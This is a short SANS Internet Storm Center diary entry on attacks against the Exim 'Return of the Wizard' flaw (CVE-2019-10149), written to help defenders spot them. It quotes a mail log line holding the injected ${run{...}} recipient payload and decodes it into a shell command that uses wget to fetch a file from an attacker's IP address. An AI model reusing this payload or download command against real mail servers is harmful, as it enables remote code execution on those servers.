SANS ISC: Quick Detect: Exim "Return of the Wizard" Attack

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Thanks to our reader Alex for sharing some of his mail logs with the latest attempts to exploit CVE-2019-10149 (aka "Return of the Wizard"). The vulnerability affects Exim and was patched about two weeks ago. There are likely still plenty of vulnerable servers, but it looks like attackers are branching out and are hitting servers not running Exim as well.

A couple of logs from our own mail server (running postfix):

Jun 19 10:47:10 mail postfix/smtp[19006]: A547240360F4: to=<root+${run{x2Fbinx2Fsht-ctx22wgetx2064.50.180.45x2ftmpx2f70.91.145.10x22}}@dshield.org>, relay=204.51.94.153[204.51.94.153]:25, delay=0.82, delays=0.29/0.03/0.45/0.05, dsn=5.1.1, status=bounced (host 204.51.94.153[204.51.94.153] said: 550 5.1.1 <root+${run{x2Fbinx2Fsht-ctx22wgetx2064.50.180.45x2ftmpx2f70.91.145.10x22}}@dshield.org>: Recipient address rejected: User unknown in virtual alias table (in reply to RCPT TO command))

The exploit is attempting to run the following command:

/bin/sht-ct "wget 64.50.180.45/tmp/70.91.145.10"

Note that the IP at the end of the command is our mail servers public IP address. The URL does no longer appear to exist and belongs to a server running cPanel. 

The beginning of the command may actually be a mistake/typo. I believe the attacker is trying to run sh -ct, which would execute the string (wget..). 

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Johannes B. Ullrich, Ph.D., Dean of Research, SANS Technology Institute
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